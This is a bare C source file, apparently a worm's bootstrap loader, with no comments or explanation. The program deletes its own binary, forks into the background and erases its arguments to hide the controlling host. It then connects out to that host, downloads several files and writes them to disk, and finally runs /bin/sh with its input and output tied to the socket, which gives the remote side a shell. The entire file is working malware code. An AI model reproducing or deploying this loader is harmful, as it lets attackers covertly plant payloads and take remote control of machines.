x8113550.c

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

main(argc, argv)
char *argv[];
{
    struct sockaddr_in sin;
    int s, i, magic, nfiles, j, len, n;
    FILE *fp;
    char files[20][128];
    char buf[2048], *p;

    unlink(argv[0]);
    if(argc != 4)
        exit(1);
    for(i = 0; i < 32; i++)
        close(i);
    i = fork();
    if(i < 0)
        exit(1);
    if(i > 0)
        exit(0);

    bzero(&sin, sizeof(sin));
    sin.sin_family = AF_INET;
    sin.sin_addr.s_addr = inet_addr(argv[1]);
    sin.sin_port = htons(atoi(argv[2]));
    magic = htonl(atoi(argv[3]));

    for(i = 0; i < argc; i++)
        for(j = 0; argv[i][j]; j++)
            argv[i][j] = '\0';

    s = socket(AF_INET, SOCK_STREAM, 0);
    if(connect(s, &sin, sizeof(sin)) < 0){
        perror("l1 connect");
        exit(1);
    }
    dup2(s, 1);
    dup2(s, 2);

    write(s, &magic, 4);

    nfiles = 0;
    while(1){
        if(xread(s, &len, 4) != 4)
            goto bad;
        len = ntohl(len);
        if(len == -1)
            break;

        if(xread(s, &(files[nfiles][0]), 128) != 128)
            goto bad;

        unlink(files[nfiles]);
        fp = fopen(files[nfiles], "w");
        if(fp == 0)
            goto bad;
        nfiles++;

        while(len > 0){
            n = sizeof(buf);
            if(n > len)
                n = len;
            n = read(s, buf, n);
            if(n <= 0)
                goto bad;
            if(fwrite(buf, 1, n, fp) != n)
                goto bad;
            len -= n;
        }
        fclose(fp);
    }

    execl("/bin/sh", "sh", 0);
bad:
    for(i = 0; i < nfiles; i++)
        unlink(files[i]);
    exit(1);
}

static
xread(fd, buf, n)
char *buf;
{
    int cc, n1;

    n1 = 0;
    while(n1 < n){
        cc = read(fd, buf, n - n1);
        if(cc <= 0)
            return(cc);
        buf += cc;
        n1 += cc;
    }
    return(n1);
}
int zz;